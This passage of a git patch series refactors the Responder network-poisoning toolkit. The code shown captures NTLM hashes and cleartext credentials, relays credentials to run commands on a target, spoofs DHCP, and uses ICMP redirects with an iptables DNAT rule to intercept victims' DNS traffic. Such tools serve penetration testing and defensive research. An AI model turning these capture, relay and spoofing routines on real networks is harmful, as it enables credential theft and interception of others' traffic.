SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data)) Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=settings.Config.Challenge) Body.calculate() @@ -374,23 +324,20 @@ class SMB1LM(BaseRequestHandler): Buffer = struct.pack(">i", len(''.join(Packet)))+Packet self.request.send(Buffer) data = self.request.recv(1024) - - ##Session Setup AndX Request - if data[8:10] == "\x73\x00": + + if data[8:10] == "\x73\x00": #Session Setup AndX Request if Is_LMNT_Anonymous(data): head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) Packet = str(head)+str(SMBSessEmpty()) Buffer = struct.pack(">i", len(''.join(Packet)))+Packet self.request.send(Buffer) - else: ParseLMNTHash(data,self.client_address[0]) head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - Packet = str(head)+str(SMBSessEmpty()) - Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + Packet = str(head) + str(SMBSessEmpty()) + Buffer = struct.pack(">i", len(''.join(Packet))) + Packet self.request.send(Buffer) data = self.request.recv(1024) - except Exception: self.request.close() - pass + pass \ No newline at end of file diff --git a/servers/SMTP.py b/servers/SMTP.py index aeb3111..9c6b243 100644 --- a/servers/SMTP.py +++ b/servers/SMTP.py @@ -14,15 +14,11 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . -import os -import settings - from utils import * -from base64 import b64decode, b64encode +from base64 import b64decode from SocketServer import BaseRequestHandler from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2 -# ESMTP Server class class ESMTP(BaseRequestHandler): def handle(self): From 2fb6a1c22830045584448a949957de2b595b833c Mon Sep 17 00:00:00 2001 From: jvoisin Date: Tue, 5 Jul 2016 01:07:24 +0200 Subject: [PATCH 3/5] Refactors utils.py and tools/* --- fingerprint.py | 7 +-- servers/Browser.py | 1 + servers/HTTP.py | 1 + servers/Kerberos.py | 1 + servers/LDAP.py | 1 + servers/MSSQL.py | 1 + servers/SMB.py | 1 + settings.py | 2 +- tools/BrowserListener.py | 90 ++++++++------------------ tools/DHCP.py | 50 ++++----------- tools/FindSMB2UPTime.py | 10 +-- tools/Icmp-Redirect.py | 44 ++++--------- tools/RelayPackets.py | 3 +- tools/SMBRelay.py | 52 +++++++-------- utils.py | 132 +++++++++++---------------------------- 15 files changed, 123 insertions(+), 273 deletions(-) diff --git a/fingerprint.py b/fingerprint.py index 717084f..e8c229d 100644 --- a/fingerprint.py +++ b/fingerprint.py @@ -14,15 +14,11 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . -import re -import sys + import socket import struct -import string -import logging from utils import color -from odict import OrderedDict from packets import SMBHeader, SMBNego, SMBNegoFingerData, SMBSessionFingerData def OsNameClientVersion(data): @@ -31,7 +27,6 @@ def OsNameClientVersion(data): pack = tuple(data[47+length:].split('\x00\x00\x00'))[:2] OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]]) return OsVersion, ClientVersion - except: return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version" diff --git a/servers/Browser.py b/servers/Browser.py index 20a4210..e002f29 100644 --- a/servers/Browser.py +++ b/servers/Browser.py @@ -17,6 +17,7 @@ from packets import SMBHeader, SMBNegoData, SMBSessionData, SMBTreeConnectData, RAPNetServerEnum3Data, SMBTransRAPData from SocketServer import BaseRequestHandler from utils import * +import struct def WorkstationFingerPrint(data): diff --git a/servers/HTTP.py b/servers/HTTP.py index f2d7018..d65874d 100644 --- a/servers/HTTP.py +++ b/servers/HTTP.py @@ -17,6 +17,7 @@ from SocketServer import BaseRequestHandler, StreamRequestHandler from base64 import b64decode +import struct from utils import * from packets import NTLM_Challenge diff --git a/servers/Kerberos.py b/servers/Kerberos.py index 32bd23e..0c73725 100644 --- a/servers/Kerberos.py +++ b/servers/Kerberos.py @@ -16,6 +16,7 @@ # along with this program. If not, see . from SocketServer import BaseRequestHandler from utils import * +import struct def ParseMSKerbv5TCP(Data): MsgType = Data[21:22] diff --git a/servers/LDAP.py b/servers/LDAP.py index 5a91bee..351df1f 100644 --- a/servers/LDAP.py +++ b/servers/LDAP.py @@ -17,6 +17,7 @@ from SocketServer import BaseRequestHandler from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge from utils import * +import struct def ParseSearch(data): if re.search(r'(objectClass)', data): diff --git a/servers/MSSQL.py b/servers/MSSQL.py index 253fe5c..0353bf5 100644 --- a/servers/MSSQL.py +++ b/servers/MSSQL.py @@ -17,6 +17,7 @@ from SocketServer import BaseRequestHandler from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer from utils import * +import struct class TDS_Login_Packet: def __init__(self, data): diff --git a/servers/SMB.py b/servers/SMB.py index e4632b1..6127eca 100644 --- a/servers/SMB.py +++ b/servers/SMB.py @@ -18,6 +18,7 @@ from random import randrange from packets import SMBHeader, SMBNegoAnsLM, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData from SocketServer import BaseRequestHandler from utils import * +import struct def Is_Anonymous(data): # Detect if SMB auth was Anonymous diff --git a/settings.py b/settings.py index 5f6634b..b894dab 100644 --- a/settings.py +++ b/settings.py @@ -36,7 +36,7 @@ class Settings: return ret def toBool(self, str): - return True if str.upper() == 'ON' else False + return str.upper() == 'ON' def ExpandIPRanges(self): def expand_ranges(lst): diff --git a/tools/BrowserListener.py b/tools/BrowserListener.py index 26e2ebf..02b4fd6 100644 --- a/tools/BrowserListener.py +++ b/tools/BrowserListener.py @@ -14,11 +14,9 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . -import sys, os -import socket +import sys +import os import thread -import struct -import time BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..')) sys.path.insert(0, BASEDIR) @@ -29,7 +27,6 @@ from threading import Lock from utils import * def ParseRoles(data): - if len(data) != 4: return '' @@ -62,81 +59,44 @@ def ParseRoles(data): 'Domain Enum': (ord(data[3]) >> 7) & 1, } - #print 'Workstation : ', AllRoles['Workstation'] - #print 'Server : ', AllRoles['Server'] - #print 'SQL : ', AllRoles['SQL'] - #print 'Domain Controller : ', AllRoles['Domain Controller'] - #print 'Backup Controller : ', AllRoles['Backup Controller'] - #print 'Time Source : ', AllRoles['Time Source'] - #print 'Apple : ', AllRoles['Apple'] - #print 'Novell : ', AllRoles['Novell'] - #print 'Member : ', AllRoles['Member'] - #print 'Print : ', AllRoles['Print'] - #print 'Dialin : ', AllRoles['Dialin'] - #print 'Xenix : ', AllRoles['Xenix'] - #print 'NT Workstation : ', AllRoles['NT Workstation'] - #print 'WfW : ', AllRoles['WfW'] - #print 'Unused : ', AllRoles['Unused'] - #print 'NT Server : ', AllRoles['NT Server'] - #print 'Potential Browser : ', AllRoles['Potential Browser'] - #print 'Backup Browser : ', AllRoles['Backup Browser'] - #print 'Master Browser : ', AllRoles['Master Browser'] - #print 'Domain Master Browser : ', AllRoles['Domain Master Browser'] - #print 'OSF : ', AllRoles['OSF'] - #print 'VMS : ', AllRoles['VMS'] - #print 'Windows 95+ : ', AllRoles['Windows 95+'] - #print 'DFS : ', AllRoles['DFS'] - #print 'Local : ', AllRoles['Local'] - #print 'Domain Enum : ', AllRoles['Domain Enum'] + return ', '.join(k for k,v in AllRoles.items() if v == 1) - Roles = [] - for k,v in AllRoles.iteritems(): - if v == 1: - Roles.append(k) - - return ', '.join(Roles) class BrowserListener(BaseRequestHandler): - def handle(self): - #try: - data, socket = self.request + data, socket = self.request - lock = Lock() - lock.acquire() + lock = Lock() + lock.acquire() - DataOffset = struct.unpack('. import sys import struct -import socket -import re import optparse import ConfigParser import os @@ -46,16 +44,13 @@ def color(txt, code = 1, modifier = 0): if options.Interface is None: print color("[!]", 1, 1), "-I mandatory option is missing, please provide an interface." exit(-1) - -if options.RouterIP is None: +elif options.RouterIP is None: print color("[!]", 1, 1), "-r mandatory option is missing, please provide the router's IP." exit(-1) - -if options.DNSIP is None: +elif options.DNSIP is None: print color("[!]", 1, 1), "-p mandatory option is missing, please provide the primary DNS server ip address or yours." exit(-1) - -if options.DNSIP2 is None: +elif options.DNSIP2 is None: print color("[!]", 1, 1), "-s mandatory option is missing, please provide the secondary DNS server ip address or yours." exit(-1) @@ -230,22 +225,15 @@ def SpoofIP(Spoof): return ROUTERIP if Spoof else Responder_IP def RespondToThisIP(ClientIp): - if ClientIp.startswith('127.0.0.'): return False - - if len(RespondTo) and ClientIp not in RespondTo: + elif RespondTo and ClientIp not in RespondTo: return False - - if ClientIp in RespondTo or RespondTo == []: + elif ClientIp in RespondTo or RespondTo == []: if ClientIp not in DontRespondTo: return True - return False -def IsUDP(data): - return True if data[0][23:24] == "\x11" else False - def ParseSrcDSTAddr(data): SrcIP = socket.inet_ntoa(data[0][26:30]) DstIP = socket.inet_ntoa(data[0][30:34]) @@ -254,7 +242,7 @@ def ParseSrcDSTAddr(data): return SrcIP, SrcPort, DstIP, DstPort def FindIP(data): - IP = ''.join(re.findall('(?<=\x32\x04)[^EOF]*', data)) + IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data)) return ''.join(IP[0:4]) def ParseDHCPCode(data): @@ -270,21 +258,17 @@ def ParseDHCPCode(data): # DHCP Inform if OpCode == "\x08": IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=socket.inet_aton(CurrentIP)) - Packet = DHCPInformACK(Tid=PTid, ClientMac=MacAddr, ActualClientIP=socket.inet_aton(CurrentIP), \ - GiveClientIP=socket.inet_aton("0.0.0.0"), \ - NextServerIP=socket.inet_aton("0.0.0.0"), \ - RelayAgentIP=socket.inet_aton("0.0.0.0"), \ + Packet = DHCPInformACK(Tid=PTid, ClientMac=MacAddr, ActualClientIP=socket.inet_aton(CurrentIP), + GiveClientIP=socket.inet_aton("0.0.0.0"), + NextServerIP=socket.inet_aton("0.0.0.0"), + RelayAgentIP=socket.inet_aton("0.0.0.0"), ElapsedSec=Seconds) - Packet.calculate() Buffer = UDP(Data = Packet) Buffer.calculate() SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68)) - return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex')) - - # DHCP Request - if OpCode == "\x03" and Respond_To_Requests: + elif OpCode == "\x03" and Respond_To_Requests: # DHCP Request IP = FindIP(data) if IP: IPConv = socket.inet_ntoa(IP) @@ -292,16 +276,11 @@ def ParseDHCPCode(data): IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP) Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, ElapsedSec=Seconds) Packet.calculate() - Buffer = UDP(Data = Packet) Buffer.calculate() - SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68)) - return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex')) - - # DHCP Discover - if OpCode == "\x01" and Respond_To_Requests: + elif OpCode == "\x01" and Respond_To_Requests: # DHCP Discover IP = FindIP(data) if IP: IPConv = socket.inet_ntoa(IP) @@ -309,12 +288,9 @@ def ParseDHCPCode(data): IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP) Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, DHCPOpCode="\x02", ElapsedSec=Seconds) Packet.calculate() - Buffer = UDP(Data = Packet) Buffer.calculate() - SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0)) - return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex')) def SendDHCP(packet,Host): @@ -329,7 +305,7 @@ if __name__ == "__main__": while True: try: data = s.recvfrom(65535) - if IsUDP(data): + if data[0][23:24] == "\x11": # is udp? SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data) if SrcPort == 67 or DstPort == 67: diff --git a/tools/FindSMB2UPTime.py b/tools/FindSMB2UPTime.py index aac94e8..562e63f 100755 --- a/tools/FindSMB2UPTime.py +++ b/tools/FindSMB2UPTime.py @@ -21,7 +21,7 @@ import struct import socket sys.path.insert(0, os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))) -from packets import SMBHeader,SMB2Header, SMB2Nego, SMB2NegoData +from packets import SMB2Header, SMB2Nego, SMB2NegoData def GetBootTime(data): Filetime = int(struct.unpack('i", len(data)) - return Len def run(host): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) @@ -52,7 +48,7 @@ def run(host): Nego.calculate() Packet = str(Header)+str(Nego) - Buffer = NbtLen(Packet)+Packet + Buffer = struct.pack(">i", len(Packet)) + Packet s.send(Buffer) try: diff --git a/tools/Icmp-Redirect.py b/tools/Icmp-Redirect.py index 100bd92..98552be 100755 --- a/tools/Icmp-Redirect.py +++ b/tools/Icmp-Redirect.py @@ -15,55 +15,46 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . -import sys,socket,struct,optparse,random,pipes +import socket +import struct +import optparse +import pipes from socket import * sys.path.append('../') from odict import OrderedDict from random import randrange from time import sleep from subprocess import call -from pipes import quote parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -g 10.20.30.254 -t 10.20.30.48 -r 10.20.40.1', prog=sys.argv[0], ) parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP") - parser.add_option('-g', '--gateway',action="store", help="The ip address of the original gateway (issue the command 'route -n' to know where is the gateway", metavar="10.20.30.254",dest="OriginalGwAddr") - parser.add_option('-t', '--target',action="store", help="The ip address of the target", metavar="10.20.30.48",dest="VictimIP") - parser.add_option('-r', '--route',action="store", help="The ip address of the destination target, example: DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost") - parser.add_option('-s', '--secondaryroute',action="store", help="The ip address of the destination target, example: Secondary DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost2") - parser.add_option('-I', '--interface',action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface") - parser.add_option('-a', '--alternate',action="store", help="The alternate gateway, set this option if you wish to redirect the victim traffic to another host than yours", metavar="10.20.30.40",dest="AlternateGwAddr") - options, args = parser.parse_args() if options.OURIP is None: print "-i mandatory option is missing.\n" parser.print_help() exit(-1) - -if options.OriginalGwAddr is None: +elif options.OriginalGwAddr is None: print "-g mandatory option is missing, please provide the original gateway address.\n" parser.print_help() exit(-1) - -if options.VictimIP is None: +elif options.VictimIP is None: print "-t mandatory option is missing, please provide a target.\n" parser.print_help() exit(-1) - -if options.Interface is None: +elif options.Interface is None: print "-I mandatory option is missing, please provide your network interface.\n" parser.print_help() exit(-1) - -if options.ToThisHost is None: +elif options.ToThisHost is None: print "-r mandatory option is missing, please provide a destination target.\n" parser.print_help() exit(-1) @@ -81,16 +72,13 @@ ToThisHost2 = options.ToThisHost2 Interface = options.Interface def Show_Help(ExtraHelpData): - help = "\nICMP Redirect Utility 0.1.\nCreated by Laurent Gaffie, please send bugs/comments to laurent.gaffie@gmail.com\n\nThis utility combined with Responder is useful when you're sitting on a Windows based network.\nMost Linux distributions discard by default ICMP Redirects.\n" - help+= ExtraHelpData - print help + print("\nICMP Redirect Utility 0.1.\nCreated by Laurent Gaffie, please send bugs/comments to laurent.gaffie@gmail.com\n\nThis utility combined with Responder is useful when you're sitting on a Windows based network.\nMost Linux distributions discard by default ICMP Redirects.\n") + print(ExtraHelpData) MoreHelp = "Note that if the target is Windows, the poisoning will only last for 10mn, you can re-poison the target by launching this utility again\nIf you wish to respond to the traffic, for example DNS queries your target issues, launch this command as root:\n\niptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst %s --dport 53 -j DNAT --to-destination %s:53\n\n"%(ToThisHost,OURIP) class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) + fields = OrderedDict([("data", ""),]) def __init__(self, **kw): self.fields = OrderedDict(self.__class__.fields) for k,v in kw.items(): @@ -98,6 +86,7 @@ class Packet(): self.fields[k] = v(self.fields[k]) else: self.fields[k] = v + def __str__(self): return "".join(map(str, self.fields.values())) @@ -105,7 +94,7 @@ def GenCheckSum(data): s = 0 for i in range(0, len(data), 2): q = ord(data[i]) + (ord(data[i+1]) << 8) - f = s+q + f = s + q s = (f & 0xffff) + (f >> 16) return struct.pack(". -import struct, sys +import struct +import sys sys.path.append('../') from odict import OrderedDict diff --git a/tools/SMBRelay.py b/tools/SMBRelay.py index e114055..1f6b944 100755 --- a/tools/SMBRelay.py +++ b/tools/SMBRelay.py @@ -14,13 +14,27 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . -import sys, os, struct,re,socket,random, RelayPackets,optparse,thread +import sys +import re +import socket +import random +import optparse +import thread sys.path.append('../') from fingerprint import RunSmbFinger -from odict import OrderedDict -from utils import longueur from socket import * from RelayPackets import * +from packets import * +from servers.SMB import * + +import logging +Logs = logging +Logs.basicConfig(filemode="w",filename='SMBRelay-Session.txt',format='',level=logging.DEBUG) + + +def longueur(payload): + return struct.pack(">i", len(''.join(payload))) + def UserCallBack(op, value, dmy, parser): args=[] @@ -44,19 +58,16 @@ if options.CMD is None: print "\n-c mandatory option is missing, please provide a command to execute on the target.\n" parser.print_help() exit(-1) - -if options.TARGET is None: +elif options.TARGET is None: print "\n-t mandatory option is missing, please provide a target.\n" parser.print_help() exit(-1) - -if options.UserToRelay is None: +elif options.UserToRelay is None: print "\n-u mandatory option is missing, please provide a username to relay.\n" parser.print_help() exit(-1) ResponderPATH = os.path.dirname(__file__) -# Set some vars. UserToRelay = options.UserToRelay Domain = options.Domain Command = options.CMD @@ -81,11 +92,6 @@ class Packet: def __str__(self): return "".join(map(str, self.fields.values())) -#Logger -import logging -Logs = logging -Logs.basicConfig(filemode="w",filename='SMBRelay-Session.txt',format='',level=logging.DEBUG) - #Function used to verify if a previous auth attempt was made. def ReadData(outfile,Client, User, cmd=None): try: @@ -93,19 +99,14 @@ def ReadData(outfile,Client, User, cmd=None): if cmd is None: String = Client+':'+User if re.search(String.encode('hex'), filestr.read().encode('hex')): - filestr.close() return True - else: - return False + return False if cmd is not None: String = Client+","+User+","+cmd if re.search(String.encode('hex'), filestr.read().encode('hex')): - filestr.close() print "[+] Command: %s was previously executed on host: %s. Won't execute again.\n" %(cmd, Client) return True - else: - return False - + return False except: raise @@ -123,7 +124,6 @@ def ParseHash(data,Client, Target): Username, Domain = tuple(var) if ReadData("SMBRelay-Session.txt", Client, Username): print "[+]Auth from user %s with host %s previously failed. Won't relay."%(Username, Client) - pass if Username in UserToRelay: print '%s sent a NTLMv2 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target) print "Username : ",Username @@ -135,7 +135,6 @@ def ParseHash(data,Client, Target): Username, Domain = tuple(var) if ReadData("SMBRelay-Session.txt", Client, Username): print "Auth from user %s with host %s previously failed. Won't relay."%(Username, Client) - pass if Username in UserToRelay: print '%s sent a NTLMv1 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target) LMHashing = data[65:65+LMhashLen].encode('hex').upper() @@ -145,9 +144,6 @@ def ParseHash(data,Client, Target): return data[65:65+LMhashLen],data[65+LMhashLen:65+LMhashLen+NthashLen],Username,Domain, Client else: print "'%s' user was not specified in -u option, won't relay authentication. Allowed users to relay are: %s"%(Username,UserToRelay) - pass - - except Exception: raise @@ -157,12 +153,10 @@ def Is_Anonymous(data): if LMhashLen == 0 or LMhashLen == 1: print "SMB Anonymous login requested, trying to force client to auth with credz." return True - else: - return False + return False def ParseDomain(data): - Domain = ''.join(data[81:].split('\x00\x00\x00')[:1])+'\x00\x00\x00' - return Domain + return ''.join(data[81:].split('\x00\x00\x00')[:1])+'\x00\x00\x00' #Function used to know which dialect number to return for NT LM 0.12 def Parse_Nego_Dialect(data): diff --git a/utils.py b/utils.py index d93d003..36eedfb 100644 --- a/utils.py +++ b/utils.py @@ -21,7 +21,7 @@ import logging import socket import time import settings -import struct + try: import sqlite3 except: @@ -29,26 +29,20 @@ except: sys.exit(0) def color(txt, code = 1, modifier = 0): - if txt.startswith('[*]'): settings.Config.PoisonersLogger.warning(txt) - elif 'Analyze' in txt: settings.Config.AnalyzeLogger.warning(txt) - # No colors for windows... - if os.name == 'nt': + if os.name == 'nt': # No colors for windows... return txt - return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt) def text(txt): logging.info(txt) - if os.name == 'nt': return txt - - return '\r'+re.sub(r'\[([^]]*)\]', "\033[1;34m[\\1]\033[0m", txt) + return '\r' + re.sub(r'\[([^]]*)\]', "\033[1;34m[\\1]\033[0m", txt) def IsOnTheSameSubnet(ip, net): @@ -64,52 +58,36 @@ def RespondToThisIP(ClientIp): if ClientIp.startswith('127.0.0.'): return False - - if settings.Config.AutoIgnore and ClientIp in settings.Config.AutoIgnoreList: + elif settings.Config.AutoIgnore and ClientIp in settings.Config.AutoIgnoreList: print color('[*]', 3, 1), 'Received request from auto-ignored client %s, not answering.' % ClientIp return False - - if len(settings.Config.RespondTo) and ClientIp not in settings.Config.RespondTo: + elif settings.Config.RespondTo and ClientIp not in settings.Config.RespondTo: return False - - if ClientIp in settings.Config.RespondTo or settings.Config.RespondTo == []: + elif ClientIp in settings.Config.RespondTo or settings.Config.RespondTo == []: if ClientIp not in settings.Config.DontRespondTo: return True - return False def RespondToThisName(Name): - - if len(settings.Config.RespondToName) and Name.upper() not in settings.Config.RespondToName: + if settings.Config.RespondToName and Name.upper() not in settings.Config.RespondToName: return False - - if Name.upper() in settings.Config.RespondToName or settings.Config.RespondToName == []: + elif Name.upper() in settings.Config.RespondToName or settings.Config.RespondToName == []: if Name.upper() not in settings.Config.DontRespondToName: return True - return False def RespondToThisHost(ClientIp, Name): return RespondToThisIP(ClientIp) and RespondToThisName(Name) -def IsOsX(): - return True if settings.Config.Os_version == "darwin" else False - def OsInterfaceIsSupported(): if settings.Config.Interface != "Not set": - return False if IsOsX() else True - else: - return False + return not IsOsX() + return False def IsOsX(): - Os_version = sys.platform - if Os_version == "darwin": - return True - else: - return False + return sys.platform == "darwin" def FindLocalIP(Iface, OURIP): - if Iface == 'ALL': return '0.0.0.0' @@ -123,40 +101,29 @@ def FindLocalIP(Iface, OURIP): ret = s.getsockname()[0] s.close() return ret - else: - return OURIP - + return OURIP except socket.error: print color("[!] Error: %s: Interface not found" % Iface, 1) sys.exit(-1) # Function used to write captured hashs to a file. def WriteData(outfile, data, user): - logging.info("[*] Captured Hash: %s" % data) if not os.path.isfile(outfile): with open(outfile,"w") as outf: - outf.write(data) - outf.write("\n") - outf.close() + outf.write(data + '\n') + return + with open(outfile,"r") as filestr: + if re.search(user.encode('hex'), filestr.read().encode('hex')): + return False + elif re.search(re.escape("$"), user): + return False + with open(outfile,"a") as outf2: + outf2.write(data + '\n') - else: - with open(outfile,"r") as filestr: - if re.search(user.encode('hex'), filestr.read().encode('hex')): - filestr.close() - return False - if re.search(re.escape("$"), user): - filestr.close() - return False - - with open(outfile,"a") as outf2: - outf2.write(data) - outf2.write("\n") - outf2.close() def SaveToDb(result): - # Creating the DB if it doesn't exist if not os.path.exists(settings.Config.DatabaseFile): cursor = sqlite3.connect(settings.Config.DatabaseFile) @@ -180,32 +147,23 @@ def SaveToDb(result): logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname) cursor = sqlite3.connect(settings.Config.DatabaseFile) - # We add a text factory to support different charsets - cursor.text_factory = sqlite3.Binary + cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND LOWER(user)=LOWER(?)", (result['module'], result['type'], result['user'])) (count,) = res.fetchone() - if count == 0: - - # If we obtained cleartext credentials, write them to file - # Otherwise, write JtR-style hash string to file + if not count: with open(logfile,"a") as outf: - if len(result['cleartext']): - outf.write('%s:%s' % (result['user'], result['cleartext'])) - else: - outf.write(result['fullhash']) - outf.write("\n") - outf.close() + if len(result['cleartext']): # If we obtained cleartext credentials, write them to file + outf.write('%s:%s\n' % (result['user'], result['cleartext'])) + else: # Otherwise, write JtR-style hash string to file + outf.write(result['fullhash'] + '\n') - # Update database cursor.execute("INSERT INTO responder VALUES(?, ?, ?, ?, ?, ?, ?, ?, ?)", (timestamp, result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash'])) cursor.commit() - cursor.close() - # Print output - if count == 0 or settings.Config.Verbose: + if not count or settings.Config.Verbose: # Print output if len(result['client']): print text("[%s] %s Client : %s" % (result['module'], result['type'], color(result['client'], 3))) if len(result['hostname']): @@ -224,30 +182,22 @@ def SaveToDb(result): # Appending auto-ignore list if required # Except if this is a machine account's hash if settings.Config.AutoIgnore and not result['user'].endswith('$'): - settings.Config.AutoIgnoreList.append(result['client']) print color('[*] Adding client %s to auto-ignore list' % result['client'], 4, 1) - else: print color('[*]', 3, 1), 'Skipping previously captured hash for %s' % result['user'] def Parse_IPV6_Addr(data): - if data[len(data)-4:len(data)][1] =="\x1c": return False - elif data[len(data)-4:len(data)] == "\x00\x01\x00\x01": return True - elif data[len(data)-4:len(data)] == "\x00\xff\x00\x01": return True + return False - else: - return False - -def Decode_Name(nbname): - #From http://code.google.com/p/dpkt/ with author's permission. +def Decode_Name(nbname): #From http://code.google.com/p/dpkt/ with author's permission. try: from string import printable @@ -259,12 +209,12 @@ def Decode_Name(nbname): l.append(chr(((ord(nbname[i]) - 0x41) << 4) | ((ord(nbname[i+1]) - 0x41) & 0xf))) return filter(lambda x: x in printable, ''.join(l).split('\x00', 1)[0].replace(' ', '')) - except: return "Illegal NetBIOS name" + def NBT_NS_Role(data): - Role = { + return { "\x41\x41\x00":"Workstation/Redirector", "\x42\x4c\x00":"Domain Master Browser", "\x42\x4d\x00":"Domain Controller", @@ -272,12 +222,10 @@ def NBT_NS_Role(data): "\x42\x4f\x00":"Browser Election", "\x43\x41\x00":"File Server", "\x41\x42\x00":"Browser", - } + }.get(data, 'Service not known') - return Role[data] if data in Role else "Service not known" def banner(): - banner = "\n".join([ ' __', ' .----.-----.-----.-----.-----.-----.--| |.-----.----.', @@ -293,6 +241,7 @@ def banner(): print " To kill this script hit CRTL-C" print "" + def StartupMessage(): enabled = color('[ON]', 2, 1) disabled = color('[OFF]', 1, 1) @@ -342,21 +291,16 @@ def StartupMessage(): if settings.Config.Upstream_Proxy: print ' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1) - if len(settings.Config.RespondTo): print ' %-27s' % "Respond To" + color(str(settings.Config.RespondTo), 5, 1) - if len(settings.Config.RespondToName): print ' %-27s' % "Respond To Names" + color(str(settings.Config.RespondToName), 5, 1) - if len(settings.Config.DontRespondTo): print ' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1) - if len(settings.Config.DontRespondToName): print ' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1) + print "\n\n" - print "" - print "" # Useful for debugging def hexdump(src, l=0x16): @@ -393,8 +337,4 @@ def hexdump(src, l=0x16): res.append(('%08X: %-'+str(l*(2+1)+1)+'s |%s|') % (i, hexa, text)) - return '\n'.join(res) - -def longueur(payload): - length = struct.pack(">i", len(''.join(payload))) - return length + return '\n'.join(res) \ No newline at end of file From 2e9dd48b862f4e8f9681ef0fd544e683ce8dbdb0 Mon Sep 17 00:00:00 2001 From: jvoisin Date: Tue, 5 Jul 2016 01:28:32 +0200 Subject: [PATCH 4/5] Factorise a bit some tools --- tools/Icmp-Redirect.py | 14 +------------- tools/RelayPackets.py | 15 +-------------- tools/SMBRelay.py | 17 +---------------- 3 files changed, 3 insertions(+), 43 deletions(-) diff --git a/tools/Icmp-Redirect.py b/tools/Icmp-Redirect.py index 98552be..35d52e2 100755 --- a/tools/Icmp-Redirect.py +++ b/tools/Icmp-Redirect.py @@ -25,6 +25,7 @@ from odict import OrderedDict from random import randrange from time import sleep from subprocess import call +from packets import Packet parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -g 10.20.30.254 -t 10.20.30.48 -r 10.20.40.1', prog=sys.argv[0], @@ -77,19 +78,6 @@ def Show_Help(ExtraHelpData): MoreHelp = "Note that if the target is Windows, the poisoning will only last for 10mn, you can re-poison the target by launching this utility again\nIf you wish to respond to the traffic, for example DNS queries your target issues, launch this command as root:\n\niptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst %s --dport 53 -j DNAT --to-destination %s:53\n\n"%(ToThisHost,OURIP) -class Packet(): - fields = OrderedDict([("data", ""),]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - - def __str__(self): - return "".join(map(str, self.fields.values())) - def GenCheckSum(data): s = 0 for i in range(0, len(data), 2): diff --git a/tools/RelayPackets.py b/tools/RelayPackets.py index 91b92df..0791670 100644 --- a/tools/RelayPackets.py +++ b/tools/RelayPackets.py @@ -18,20 +18,7 @@ import struct import sys sys.path.append('../') from odict import 